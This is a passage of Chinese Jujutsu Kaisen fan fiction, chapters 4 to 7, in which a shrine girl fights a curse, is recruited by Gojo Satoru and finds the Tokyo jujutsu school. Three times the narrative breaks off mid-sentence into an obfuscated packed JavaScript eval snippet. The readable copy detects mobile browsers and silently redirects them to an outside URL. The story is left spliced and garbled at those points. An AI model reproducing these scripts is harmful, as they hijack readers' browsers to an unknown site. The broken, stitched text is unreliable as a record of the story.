五条悟看起来悠闲，步子却并不慢，长腿迈开就走进了神社。纱绪里站在原地只犹豫了片刻就跟上去，反正，如果咒灵真的出来了的话，她也是跑不掉的。 “咒灵过来了哦。”随着五条悟的话，咒灵一只黑色肢体猛地抽到地面，闷响的同时留下深黑的印记。明明就在离他一步之遥的地方，他却仍旧保持着那样的姿势优哉游哉的看着纱绪里。 纱绪里吓得猛退两步，整个人惊魂未定。这还是她第一次近距离看到咒灵，那扭曲得如同人形和兽类混合出来的怪物，长长的肢体不对称地探出，黑色的纹路像烧焦的藤蔓缠绕在皮肤上。 她无下意识握紧剑，身体几乎要发起抖来，而某个无良的白毛男子完全没有动手的打算，反而转了个身靠在神社的柱子上，双手往胸前一放，“有这么害怕吗？” “不是说要祓除咒灵吗？你还不动手？”纱绪里咬着牙吼了句。 “我说过的吗？”五条悟状似思考了下，然后自己点了点头，“我说的，是你努努力，应该可以祓除咒灵哦，你怀里的那把剑，并不只是装饰吧。” 纱绪里来不及答话，咒灵的攻击再次袭来，几乎没有犹豫，她猛地抽出了手里的剑，她根本不会用剑，从小到大拿得最多的是大扫帚和锅铲。这把“祖传破剑”分量不重，但拿在手里就是不顺手，像在演舞台剧却没背过台词。但就算如此，她也不得不上台了，不然怎么办，还指望旁边那个傻逼——吗？ 咒灵发出一声低吼，声音像铁丝磨过玻璃。下一瞬，它猛地扑出，影子般的爪子横扫而来，力道重得像要纱绪里砸进地里。危急之下，纱绪里险之又险的往旁边一扑，整个人摔在神社的地面，疼得眼前发黑，手里的剑也脱了手，咣啷一声滚落在一边。 而那个白毛怪人，都不知道怎么就让开了咒灵的攻击，还绕有兴致的点评纱绪里的动作，“剑掉了哦，以现在的你来说，没有咒具可是很难祓除这种等级的咒灵的。” 纱绪里痛到想骂人，但她没时间骂，只能强忍着痛，拖着身子去捡剑，脚底发软，却还是咬牙撑起来站了起来，对着咒灵举起了剑。 五条悟在边上看得兴致勃勃，像老师在看学生跑步，还记得要打气什么的，“哦哦，气势不错哦，加油。” 纱绪里分不出心来理会五条悟，因为咒灵的触手般的肢体再次抽了过来，她不知道自己做得对不对，动作也完全没章法，但她仍旧举着剑，狠狠地向着咒灵劈了过去。像是没有开刃的破剑与咒灵扭曲的肢体相撞时，空气中竟发出一阵短暂的咔响，竟比纱绪里想的有用得多。 然而也就只这么瞬间的功夫，咒灵还是抽了过来，纱绪里反应不过来，被一股剧烈的力量掀飞出去，背部像是被撞出火星，痛得她眼前发黑。 好在就算如此，这次纱绪里也记得握紧了剑，咬牙再次翻身跪起的时候，还有东西能向着咒灵劈去。 咒灵力气极大，纱绪里一个没受过训练的普通中学生根本挡不住，虽然她似乎觉得自己的动作快了不少，力道也大了不少。但面对这样的咒灵，还是只能靠躲和滚，像只猫似地避来避去，手里那把剑也是能砍到哪里砍哪里。 偶尔，白毛怪人的话还能传进耳中，带着种指指点点，“动作太直接了，你那是打算扫地还是劈柴？” 纱绪里气极，“我根本不会用剑啊你这混蛋能不能闭嘴！”天啊，来道雷把这家伙劈死吧！ 五条悟继续道，“那你挥快点，总不能指望靠气势劝退它吧？”纱绪里咬牙切齿，觉得自己都快脑溢血了，而白毛的家伙还不依不饶，“你再退就到神社门口了，让它出去，我可不管哦。” “你到底有没有人性啊！”纱绪里吼完这句，又被咒灵的爪子扫得踉跄跌退两步。胸口生疼，脚腕几乎崴了，但她还是咬牙站住，再次对着咒灵举起了剑。 4. 第 4 章 咒灵的形体越发清晰，灰黑色的身体像凝固的浓烟一样，三只眼睛就好像浮出似笑非笑的面孔般。 纱绪里气得狠了，回手就砍了过去。剑势没什么说服力，动作也没章法，但偏偏她这一砍正好碰到了什么东西，竟让对方短暂顿了一下。 “哟。”五条悟眉头一挑，话音里就好像多了点赞赏，“这一下不错。”嗯嗯，看起来，还是很有些咒术师的疯劲嘛。 “闭嘴！！”纱绪里觉得自己真的真的要疯了，她平平安安活了十几年，最大的烦恼也不过是明天吃什么，结果在一夜之间突然要一边面对随时可能吃人的咒灵，另一边面对站在安全区域当人形点评机的白毛欠抽男。 她只能靠着硬生生还提着的那口气咬牙死撑，不然怎么办，就这么对着咒灵躺下等死吗？她还完全没有这么强的觉悟，能挣扎当然还是要挣扎一下的。 剑在纱绪里手里越来越沉，体力也一点点透支，但她从头到尾没喊过一句‘我不行’或者‘我不打了’。她是真的不行，可她还在打，甚至还有种和咒灵不死不休的疯狂。 五条悟低头看纱绪里的狼狈的动作，嘴角却是慢慢地翘了起来。对于咒术师来说，天赋很重要，能克服恐惧也很重要，而最重要的，是要够疯。这个小家伙不但身上有咒力的流动，还有成为术师更重要的潜质。哪怕她现在只是个什么都不懂、咒力都只堪堪觉醒，还不完全会使用的普通女孩。 咒灵再一次扑来，触手样的东西擦着纱绪里的肩头划过，衣服当场被撕出一道大口子，火辣辣的疼，她却来不及看伤口，只能咬紧牙关迎上去。破剑在她手里抡得不堪入目，但她每一下都拼尽了力气。 “提醒一句哦，”五条悟的声音传来，“别挥太高，那家伙现在盯着你脖子了。” 纱绪里猛地低头闪避，险之又险的避开了咒灵的下一击，她却因为中心不稳扑倒在地，重重地咳了几口，整个人气喘吁吁，额前的发被汗水黏住，脸上也沾了灰，模样看起来狼狈极了。 可她还是没有把剑扔掉。哪怕力气所剩无几，她还是使劲趴起身体，攥着那把破剑，死死盯着前方那只咒灵。然后她听见那个白毛怪人那句几乎轻飘飘的话，“挺会咬牙坚持的嘛，你怕死吗？” “当然怕！”纱绪里都不知道自己是怎么回答的，然后对方的问话还没问完，“那你怎么还不退？” 纱绪里用几乎沙哑的声音吐出一句话，“把后背留给敌人，只会死得更快！” 五条悟忽然笑了，连声调都愉快了起来，他朝纱绪里比了个大拇指，“回答正确！那接下来，就交给我吧。”下一刻，他动了。 就在纱绪里不解的目光中，白发的男人几乎是不可思议的瞬间出现在了咒灵前面，他伸出手做了个她从来没见过的手势，然后低语了句，“术式顺转，苍。” 一道几乎看不清轨迹的咒力波动“轰”的一声炸开，空气猛然震颤，地上的尘土瞬间被掀起一层。咒灵那庞大的黑影仿佛被冻结一般，在空中僵住，随即在猛烈的收缩之后像碎掉的瓷片一样，从头部开始碎裂、剥落、消散。 它来不及发出最后的嘶吼，下一秒，那令人窒息的气压一瞬间消失了，仿佛从来什么都没出现过。 纱绪里看着突然爆开的咒灵缓缓张开了嘴，等等，她是谁她在哪里她看到了什么，这个咒灵就这样被……祓除了？ 咒灵被祓除之后不会留下任何痕迹，那些形状奇怪的碎末在空中就逐渐消失殆尽，只剩下被打烂的神社和一地狼藉。 夕阳落下最后一丝余晖，就在逐渐降临的黑暗中，白发的男人走到纱绪里面前蹲了下来，他俯身像是看了过来，几乎遮挡住了纱绪里整个天空，“还能站得起来吗？” “你……你到底是谁啊？”纱绪里咽了口唾沫，有些困难的开口问道，第一次的，世界在她面前展现出另一种模样。那只她苦战许久、完全无法对抗的怪物，就这么在这个奇怪的男人抬手之间化为乌有。 白发的男人对着纱绪里扬起唇角，笑容在夕阳下有些灿烂，“五条悟，东京咒术高等专门学校一年级班导老师哦，星野同学。” “你怎么知道我姓星野？”纱绪里问出口才发现另一个问题，“咒术高专？班导老师？”所以这个世界果然是玄幻的吧，而她虽然没有在十一岁没有收到猫头鹰的录取通知书，却在成年的时候知道了咒术高专。 “这么多问题吗？”五条悟站起身来，“那就一个个回答好了，我眼睛很好，刚才路过的时候就看到门口挂着的铭牌了，至于咒术高专，是一所以教育、培养年轻咒术师为目的的学校。” 纱绪里沉默了下，随即使了点劲努力爬起来，出了肩头的那一道之外，她没有受特别严重的伤，但仍旧身上到处都是小伤口，同样也是手酸脚软脑袋发晕，“所以你应该不是路过这里？”她家的咒灵刚出问题，这位五条悟就来到神社，她也不觉得世界上的事会有这么多巧合。 “不是哦，是窗观察到了咒灵出现的异常。”五条悟回答起纱绪里的问题还是相当的有耐心，只不过纱绪里有太多听不懂的术语了，“窗又是什么？” 五条悟的语调几乎称得上是欢快了，“有兴趣的话，要不要来高专读书，这些内容老师上课都会讲到的哦。” “去高专读书？”纱绪里转头扫了眼大半毁掉的神社，好在，居住的那边房屋还得以幸免，“我从来没有想过……”她可是马上就要高中毕业读大学了啊，虽然目标是三流大学好歹也是大学，突然转去高专读书，不说其他，她应该也超龄了？ 五条悟很是无所谓的笑道，“从现在开始想也不晚嘛，有天赋的咒术师不多，高专很欢迎新学生哦。” 纱绪里迟疑了下，倒没有立刻拒绝或者接受，只含混的道，“那让我想想吧，而且也要和家人商量。” “当然没问题，”五条悟随意挥了挥手，“想来高专读书的话，就来东京吧。”说着转身就准备离开。 纱绪里看着他的背影皱起眉头，然而下一刻，她就见白发的男人转过头来，摸着下颚脸上的神色还有些轻浮，“对了，你叫什么名字来着？” “……”所以你们学校都不知道别人叫什么名字都能进行招生吗这样的学校真的没问题吗，纱绪里有些不知道说什么好的摆了摆手，“纱绪里，我叫星野纱绪里。” 那天晚上，纱绪里都不知道自己是睡着了还是没睡着，梦里交替出现的都是咒灵诡异的脸，第二天一大清早起来，纱绪里就站在破败的仓房边缘，望着被咒灵撕裂过的地面和断木发呆。 原本立在院边的石榴树歪倒在残砖上，根部被连泥翻起，露出白色的须根，也不知道重新立起来还活不活得成。仓库已经塌成了瓦砾堆，神社正殿也缺了一大半，墙体烧焦，木料断裂，供奉品更是已经被踩入了泥土当中。 纱绪里看着这满目疮痍半晌终于回过神来，她试图在外婆回来之前整理下，用扫帚清理了下木屑，捡起散落的供奉品，又放下，又弯腰捡起来，又放下。 两次之后，她终于承认现实，“……根本没法收拾，还是等外婆回来之后找人来收拾吧。”略顿了顿，“可恶的咒灵，重新盖神社可要花不少钱，简直是影响我的人生计划嘛！” 片刻的时间后，纱绪里立刻想通了，“算了，至少封印里的咒灵被祓除了，也算是消灭了个隐患，万一哪天有客人在的时候出来的话……啊啊，想开点想开点，至少结果还不算太坏。至少住的这边屋子还比较完好，不然昨晚都没办法睡。” 纱绪里从来不是那种喜欢自寻烦恼的人，想开之后就在回廊上找了个地方坐下，把笔记本拿出来开始搜索信息。 不知道，有没有人会回收这些神社拆下的旧木料，虽然零碎了点，万一人家还有其他用处呢，如果能卖出去……不，哪怕是有人来免费搬走，也算是节约一笔了嘛，不然垃圾回收可是很贵的。 就这样查询着信息，直到山道上传来了熟悉的脚步声，然后就是外婆焦急的声音，“纱绪里——！” 纱绪里猛地抬头，看到那个熟悉的身影时，她立刻放下电脑从屋檐下站起，快步迎过去，“外婆。”外婆终于回来了。 她刚开口，外婆就已经把她紧紧抱住了，“你没事吧？有没有受伤？这里到底出了什么事？” “我没事。”纱绪里轻声回应，声音被勒得有点发闷，“真的，外婆我没事。” 外婆把她放开，连忙上下打量，手指在她额角碰了碰，又拉过她的袖子看，“怎么回事，为什么神社这样了，是地震吗？我怎么没有收到地震的消息？” 纱绪里能感觉到，外婆那双总是安稳的手在微微发抖，她握住外婆的手，轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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外婆听着时而皱眉，时而沉默，但始终没有插话。等纱绪里说完，她才松了口气，“原来如此，神灵保佑，你没事就好。”她抬头摸了摸纱绪里的头发，“你做得很好，是我们家的好孩子。” “我也觉得我超棒的，”纱绪里大概从来就没学会怎么谦虚，更何况她原本就做得不错嘛，“不过，那位五条老师说的那个咒术高专，您知道吗？他说是一所以教育、培养年轻咒术师为目的的学校。” “我没听说过，我们星野神社的职责，只是守住这一座封印而已。”外婆摇了摇头，“你外公或许知道得多一点，但他入赘之后就完全不提之前的事了，我觉得不提也好，不是什么开心的记忆忘记也挺好的。” “这样啊……”纱绪里若有所思，在等待自家外婆回来的这段时间，她除了处理木料（？）之外，也在考虑那位五条老师说的入学高专的事，现在基本上有决定了。 外婆看了看自家孙女，“你想去高专读书吗？如果是培养咒术师的学校，那以后只怕都要面对这些咒灵，你不是不喜欢这些吗？” “是不喜欢啊，”纱绪里也没觉得自己现在就喜欢了，超能力虽好，哪里比得上钞能力呢，“不过既然这种东西存在着，也不能当它不存在啊。”她又不会掩耳盗铃。 外婆拍拍纱绪里的手背，“你长大了，纱绪里，有自己的想法了。这条神道，走到尽头是这座神社，也可以是其他地方。如果你真想去咒术高专，外婆也支持你。” “我是打算去看看，”纱绪里抓了抓头发，“不过那个不靠谱的老师只是告诉了我咒术高专的名字，其他什么也没说，万一这所学校不是什么正经学校呢。” “所以我还是打算先把大学申请下来，然后再去东京，如果咒术高专靠谱的话就读咒术高专，如果不靠谱的话还可以继续读大学，不能让自己没有退路。” “这样的话大学也可以先去看看，学费先不忙着交，咒术高专也是，凡事还是要做两手准备，我们家是不缺钱，但谁的钱也不是大风刮来的……” 外婆有些惊讶的听着自家孙女话，随即笑着摇了摇头，说要去读咒术高专什么的，她还以为自己孙女突然变得热血起来了，看来纱绪里还是纱绪里，完全没有变嘛。 当然这个时候还在各种打算的纱绪里也没想到的是，她本该普普通通（？）的富婆躺平人生，却会突然在一个不经意之间，拐了个大弯，然后加速冲向那片深蓝色的瑰丽大海。 5. 第 5 章 已经下了决定，纱绪里也就在高中的毕业典礼结束后立刻行动起来，大学的录取通知书已经收到了，她要尽早赶去东京，先观察一下两所学校，比较一下优劣，才好做最后的决定。 收拾好东西告别了外婆之后，纱绪里提着行李来到了这个国家的中心东京。春末的东京，比山村热闹太多。各种声音在耳边响个不停，人群潮水般推来挤去，高楼林立的街道几乎没有尽头。 纱绪里按照自己的计划，先去参观了她考上的大学。在校园里转了几圈之后，她大致还是满意的，虽然学费收得贵，地方也比较偏僻，但配套的硬件条件还是很不错的。至于教学质量嘛，三流大学还谈什么教学质量，学校修得不错就行。她又不是来刻苦钻研学问的，混个文凭的人要求那么高做什么，为难学校也为难自己。 既然大学没什么问题，纱绪里也就自然而然将注意力放到了咒术高专这边。然而才开始，她就遇到了点困难。之前五条悟只告诉了她咒术高专的名字，没有告诉她具体的地址，之前询问外婆无果之后，她也曾在网上搜索咒术高专，可惜完全一无所获。 在网上搜不到无所谓，毕竟是这种特殊学校，低调点也很正常，但到了东京也毫无线索就让人有点头秃了。万能的手机地图是失灵的，搜咒术会跳出一堆动漫店，搜专门学校则跳出一堆美容美发速成班，咒术高专……算了找不到匹配项是正常的。 纱绪里沉默三秒，缓缓收起手机，“所以你到底是老师还是骗子啊，五条悟？”她咬着牙嘀咕，又好气又好笑，“让我到东京来读书也不说清地址，还笑着说‘东京见’，那你到底在哪见我啊？涩谷车站的地砖缝里吗？” 无奈的心底摇了摇头，纱绪里倒也没打算这么放弃，既然网上找不到，那就试试问路？不过随便在路边问肯定是不行，还是要找找特定的地方才行。 正好离大学开学还有不短的时间，她就趁着这段时间好好转转东京，顺便找找所谓的咒术高专吧。嗯，不为难自己，找得到就去，找不到……没有缘分的事就不要强求了，强扭的瓜不甜。 反正咒灵这种东西，好像在他们那边也不是很常见了，她活了十几年了不就只见到那一只咒灵吗？所以下一次再见到咒灵的时候，说不定她都要入土了呢，那咒术高专上还是不上关系也不大了嘛……或许。 东京是国际一流大都市，不管购物还是娱乐，更或者是美食，这里几乎都能找到你想找的东西。开学前纱绪里还有些东西想买，便抱着边游玩边找咒术高专的轻松心情开始了自己的东京之旅。 从涩谷逛到世田谷，从新宿转战新桥，衣服鞋子化妆品买了不少，当然在逛街之余她也没忘记问了几家看上去像‘灵异研究所’的地方。结果不是招摇撞骗的所谓阴阳师，就是高额收取‘浄灵费‘的诈骗集团，假得纱绪里都不好意思当没看到那些假。 真的，她好歹是从神社出来的，外婆可是神社正经的巫女，她虽然是个半吊子，但是还是很能唬人的，至少比这些骗子专业得多啊。 放弃了这条道路，纱绪里思考过之后又将目光放到了东京的各大神社。既然她们家神社都封印着咒灵，东京这些更大的神社也说不定封印着……更大的咒灵？ 好吧，她纯属乱说的，反正去去这些神社也挺好，给外婆求个护身符寄回去，然后再问问咒术高专，两边不耽误。 结果咒术高专问着问着连浅草寺的老太太都对她说，“孩子你该不会是看太多动漫了吧？” 纱绪里几乎哭笑不得，不提上辈子的记忆，就是这辈子她今年都成年了，哪里会这么不靠谱，“不是啊，我是真的要去个咒术高等学校啊……” 老太太笑得慈眉善目的，“啊，是那种职业培训课吗？我们这里也有开塔罗牌入门班哦，要不要来听听？最近在你们年轻人里很流行的。” 纱绪里沉默五秒，道谢之后缓缓离开了现场。想从她兜里掏钱，没可能的，绝对没可能！ 逛来找去，几天后纱绪里几乎是半放弃了找这个咒术高专，人瘫在下北泽的一家咖啡店里，边喝咖啡边嘀咕了句，“不知道去警察局挂失五条悟有没有用。” “啧啧，虽然我真的很想这么做，但警察肯定会以为我神经病发作吧。”她伸了个懒腰，“算了，看来我和这个咒术高专真的是彻底没缘分了，还是准备去大学报道吧，幸好还有第二个备选，不至于现在流落东京街头，真是机智如我。” 好好的夸奖了翻自己之后，纱绪里提着购物袋从咖啡馆里出来，准备回酒店去休息休息，晚上再出来吃饭。然后走着走着，她突然停住了脚步。 “嗯？”纱绪里望向不远处的天空，那原本应该是蔚蓝的天空。但就在那一块区域上空，正有一道诡异的‘幕布’缓缓落下。 不是云，也不是雾，更像是……一道从天空被拉开的暗色裂缝，如同巨大的黑纱，光线被吞噬，轮廓逐渐模糊，连空气都开始发沉。 “哇，这是什么啊？”纱绪里下意识摸出手机往天空上一阵拍，“东京在搞什么大型活动吗？拍下来赶紧拍下来发INS，看起来真的太厉害了。” 然而拍下之后，手机里的天空毫无异常，仍旧是蔚蓝的颜色，纱绪里愣了下，脑海里突然闪过一个念头，这难道是某种非自然现象，就好像咒灵和咒术……普通人是看不到的，那自然手机也拍不出来。 她犹豫了几秒钟，还是提购物袋，向着黑幕的那个方向跑去。如果找不到就算了，既然都送到眼前了，不去看看似乎都对不起她几天的辛苦。 纱绪里跑过了几条街，终于在一处偏僻的围栏外停下。那片‘幕布’已经完全覆盖了街区中间某个建筑物，像一顶巨大的黑色帐篷，从天而降、悬停不动，‘帐篷’的周围拉着警戒线，偶尔路过的路人对‘帐篷’没有反应，对这么灵异的现象视而不见。 纱绪里看得眼睛一亮，总觉得，她这次好像是找对地方了，不是那些骗子集团了。 这时，一个穿着黑西装、打着深蓝领带的消瘦男人出现在纱绪里面前，拦住了她的去路。他戴着无框眼镜，看起来像是公务人员，神色很严肃，“这里施工中，禁止通行，请从旁边绕路。” 纱绪里眨了眨眼睛，觉得自己脸上的表情足够无辜后才抬眸看人，“就算是施工应该也不需要用这么奇怪的东西把这里罩起来吧。” 男人一愣，神色随即就是一变，“你能看见？”纱绪里心情有些复杂地点点头，“当然看见了，隔着两条街就看到了，这么显眼的黑幕。” 那人上下打量她几眼，神色从警觉变成疑惑，“能看见帐，你是咒术师？” 纱绪里挠了挠头，觉得这个问题不太好回答，不过她找了这么多天，难得找到个可能相关的人，“我不是咒术师，我是……被邀请入学的学生？”只不过还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480612|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到学校而已，这句话就不用说出来，不然真的很像在搞笑啊。 “邀请？”男人打量了下纱绪里，“谁邀请你？” 纱绪里手点了点下颚，“一个白色头发、眼睛蒙着绷带、穿着黑制服、一副特别欠打样子的男人。”然后在男人瞬间的表情空白后又继续道，“他说他叫五条悟。” “……”男人沉默了几秒，然后深深吸了一口气，像是在忍住某种很深的、无法言说的疲惫，“所以你是咒术高专今年新入学的学生？” “应该是吧，”纱绪里立刻高兴了起来，她果然没搞错，这位确实是相关人员，“那位五条老师说我可以入读咒术高专，”略顿了顿，“只不过他没告诉我咒术高专在哪里，所以我到东京来找了好几天了，幸好碰到这边奇怪的现象找过来。” “你不知道咒术高专在哪里？”男人盯着纱绪里看了一会儿，然后缓缓的，表情像是打出了一个问号，五条先生……到底在做什么啊？ “我们现在要处理帐里咒灵的事，得过一会儿才能离开。”在搞清楚纱绪里的身份之后，男人看上去虽然累，但仍保持着成年人的礼貌和稳重，“你要是愿意等，任务结束后我可以带你去高专，如果有事先走的话，我告诉你高专的地址。” “行，我等你吧，”纱绪里想了想自己反正没什么事，干脆就在这里等人好了，反正她也不着急，而且看咒术高专的样子可能真的不好找，“我叫星野纱绪里，初次见面，请多关照。” “我是伊地知高洁，高专的辅助监督。”伊地知也自我介绍道，“初次见面，请多关照，星野同学。” 将近一小时后，黑幕缓缓散去，那栋建筑物就好像从另一个世界重新回到东京的街头，仿佛一切未曾发生。 伊地知送走祓除咒灵的咒术师，又处理好善后事宜后走回来时，他长舒一口气，像刚刚结束一天加班的社畜，“事情处理完了，我们走吧，星野同学。” 纱绪里看着他这个状态，终于忍不住问了一句，“伊地知先生，你们都这么忙的吗？”伊地知点头，“差不多，咒术界一直人手不足，大家都很繁忙。” “感觉真的是很辛苦的工作呢。”纱绪里发自内心地说道，然后想到自己如果入读咒术高专以后是不是也要过这种生活，忍不住打了个寒颤。 不过应该不会，就算入读咒术高专她也只是学生，和毕业后的正式咒术师完全不同，应该不会这么忙。这么想着的时候，她又重新安下心来。 伊地知开的车越开越偏僻，如果不是有之前看到的灵异情况打底，纱绪里都要以为自己被拐卖了。 在车上，伊地知就拨通了五条悟的电话，“五条先生，是我……不，不是关于那件事的，是有位来高专报道的学生……对，她说她叫星野纱绪里……是的，是的……我知道了……” 挂掉电话之后，伊地知从后视镜看了眼后座安静坐着的人，“星野同学，我已经和五条先生确认过了，他正好要回高专，等会儿就可以来带你办理入学手续了。” “我知道了。”纱绪里犹豫了下，暂时还是没有问出关于学费的话题，还是等她先看看高专再说吧，人家好心带她去高专，她直接问这种问题好像有点没礼貌，还是直接询问相关的老师或者教务人员吧。 反正，在没有交学费之前，她都可以反悔，她才不会有什么因为不好意思勉强答应的顾虑呢。 6. 第 6 章 车穿过隧道后停在一所占地面积颇为广大的学校门口，纱绪里从车上下来之后看着相当‘普通’的高专，“看起来，好像就是普通的……”除了有些寺庙风和神社风的混合之外，看起来竟然没有太过于奇怪的地方？她还以为要像霍格沃茨那种，一眼就能让人惊艳。结果就仅仅只是偏僻了点，看起来还是很普通的学校吗？ 伊地知推了推眼镜，“星野同学，虽然不知道五条先生和你说过什么，但咒术高专是正规教育机构，不是什么奇怪的地方。” “哈哈，正规的……真是太好了，莫名就觉得安心了呢。”嗯，如果是伊地知先生来说这句话的话，比那位五条老师说起来有可信度多了嘛。 告别了伊地知，趁着五条悟还没来，纱绪里便好奇的逛起咒术高专来。学校虽然不小，但看起来格外的空旷，穿过鸟居和石阶，纱绪里都没有看到第二人出现。 “好冷清啊，是还没开学的关系吗？”纱绪里仰头看着高大的鸟居，随意喃喃了句，“也不知道这里的其他学生是怎么样的。”反正她自己看起来是挺普通的，就是不知道其他人怎样。 “哟。”有熟悉的轻浮嗓音响起，纱绪里转头就看到远远走来的白发术师，还是身着制服蒙着眼睛的奇怪模样，他朝着她挥手，轻快的打着招呼，“纱绪里来了啊。” 是五条悟！ 终于又看到这个不靠谱的高专老师，纱绪里嘴角抽了抽，“是五条老师啊……”他怎么还能这么若无其事的打招呼，还叫她名字叫得那么亲切？ 原本在来东京的路上，纱绪里还想着如果要到高专来读书的话，对五条悟还是要稍微尊敬一点的，毕竟他是老师，之前那样的态度可不行。毕竟那个时候……咳咳，也算是意外情况嘛，她平时可是对老师超有礼貌的。 可这样的想法在东京转了几天之后，全部烟消云散，哪里有这样不靠谱的，让学生来读书却不告知地址的老师啊，他到底知不知道东京到底有多大啊？ “怎么啦？”五条悟歪了歪头，他头顶的白毛也跟着歪了歪，还有种像是无辜的感觉。 他还问怎么啦？纱绪里快无语了，“五条老师，你是不是忘记告诉我什么事了啊？”比如高专地址什么的，纱绪里觉得自己不多的那点尊敬已经被抛到了九霄云外，而且绝对不是错觉。 “我忘记告诉你什么事了啊？”五条悟还颇认真的问了句，就好像他真的什么都说了似的，完全不觉得有什么问题。 纱绪里有种无力扶额的冲动，“你真的是高专的老师吗？”所以这所咒术高专，是不是吃枣药丸啊？ “当然是啊，”五条悟大拇指指着自己，说得那叫一个理所当然，还有种特别闪亮的得意感，“如假包换，高专最强最受欢迎的老师。” “……”纱绪里忍不住翻了个白眼，她信他才有个鬼，“……行吧。”他说什么就是什么吧，反正她也没见过高专其他老师。 正和五条悟说着话，纱绪里的手机突然响了起来，摸出来一看是外婆来电，她朝五条悟歉意的点点头，顺手接起了电话。 电话那头外婆的声音听起来很轻快，“纱绪里啊，你找到咒术高专了吗？如果没找到的话，外婆这里已经知道地址了哦，今天高专的人来家里说明情况了。” 不，不是，这是怎么一个诡异的巧合，原来高专的人还要专门到家里去说明情况的吗？ 所以其实根本就不是五条老师忘记了，而是她想要参观比较学校什么的，毕业典礼一结束就急匆匆地收拾行李跑到东京来，结果来得太早了吗？ “谢谢外婆，我已经找到了。”所以没苦硬吃的人……竟然是她自己吗？！幸好刚才没问五条老师怎么没告诉她高专地址啊，不然才叫真的超尴尬吧。 好在只要没问出口就能当不存在，她脸皮厚无所谓的，接下来就把这个问题快速略过吧！ 在心底很快就给自己的尴尬找好了借口的纱绪里挂断电话转头就对着五条悟露出自觉相当正经的表情，“五条老师，我电话接完了，接下来我们参观学校吗？” 赶紧转移话题，赶紧转移话题，只要我不尴尬，尴尬的……好吧，反正看起来也不像是五条老师的样子，所以四舍五入那不就是不尴尬了吗。 五条悟意味不明的笑了笑，“那走吧，”他带着纱绪里穿过学校操场，顺便介绍咒术高专，“那边是上课的教室，再过去那边是学生寝室，高专学生比较少，每个人可以独占一间寝室哦。” 这倒是加分项啊，纱绪里目光随着五条悟指点的方向移动，“五条老师，高专什么时候开学？我来太早了吗？” “没有来早哦，”五条悟双手插在裤兜里，很悠闲的晃荡，看起来实在不太有纱绪里印象中的老师样子，“今天就是高专开学的第一天，星野同学来得正好。” “……真的可以这么随意的吗……”纱绪里忍不住侧目，明明才去她家说明情况吧，这边五条老师立刻就说她可以入学了，所以开学时间这么随心所欲的吗？ 于是她忍不住又接着问道，“那五条老师，所以我入学的话，真的是由你担任班导老师吗？” “是的哦，有没有很期待？我可是高专最受欢迎的老师哦。”五条悟那种随口说话的语气，也不知道到底是不是真的。 纱绪里差点没摆出地铁老人看手机脸，忍了忍还是没忍住，“五条老师，我该不会是你带的第一届学生吧？”所以这家伙从来没当过老师吧，她就是可怜兮兮的所谓第一个实验品？ 五条悟说得可理所当然了，夸奖自己夸奖得没有丝毫阻碍，“怎么会，我带过超多学生啦～他们都很喜欢我哦。” “……”怎么办，要不然还是回去读大学吧，等会儿找个借口跑掉？这么想着的时候纱绪里的语气已经带上了敷衍，“那高专入学就只有这样了吗？” “当然，”五条悟说话大喘气，“不是，”就在纱绪里强忍着不露出嫌弃的神色时，他终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夜蛾正道不置可否，又换了下一个问题，“你为什么想成为咒术师？” 啊，我其实也没那么想成为咒术师，我只是想来学习咒术而已。这样的话纱绪里哪怕再傻也不会直接说出口，更何况这道题她会啊，她可是准备过大学面试的。 于是纱绪里立刻挺直了背，脸上带着一副恰到好处的认真神色，语气诚恳地说道： “夜蛾校长，我自幼生活在神社中，对传统文化有着浓厚的兴趣，也有一定的文化基础。在知道自己拥有咒力之后，我认为自己有责任继承传统，也希望能通过咒术保护他人、回馈社会，为这个世界带来温暖和光明。虽然我可能能力微薄，但我相信，只要努力，我一定能尽自己的绵薄之力。” 她顿了顿，转头看了五条悟一眼，“所以在五条老师的鼓励下，我下定决心，想要走上咒术师的道路。”看她坚定的眼神，绝对没有撒谎！ 7. 第 7 章 纱绪里刚刚把那段套话讲完，姿势到位，语调诚恳，堪称模范考生标准动作，结果刚抬起头，就看到五条悟已经笑得直不起腰来，假模假式的在擦绷带上根本不存在的泪水了。 “……”纱绪里面不改色地忍住了翻白眼的冲动，表面还是保持微笑，她说得哪里好笑了，明明这么棒，连表情都拿捏得刚刚好嘛，真是不懂欣赏。 夜蛾正道倒没有多说什么，只是面无表情地从那堆玩偶拿起了一个圆滚滚的、缝得歪歪扭扭的布制玩偶，随手一抛，“接着。” 对方抛得很准，纱绪里下意识地伸手接住，“夜蛾校长，这个是什么？”不会真的要像五条老师说的那样，让她缝补玩偶吧，她家政课成绩不好啊。充其量也就缝个扣子可以，再难一点的就行。而且也没有什么做手工的经验，连好多女同学都会的手工围巾都不会织。 “拿着。”夜蛾校长没有解释什么，反而是好容易笑完的五条悟在一旁靠着墙壁悠哉开口，“那是‘说谎会被揍的玩偶’，不说实话，它就会攻击你哦。” 纱绪里手上捏着那团毛绒绒的玩意儿，一脸‘你别逗我’的表情，“五条老师，你骗人吧？”她低头看着手中的玩偶，它圆滚滚的、头上还缝着两个像角又不像角的布条，看起来完全没有杀伤力。甚至某种程度上……还有点可爱？ 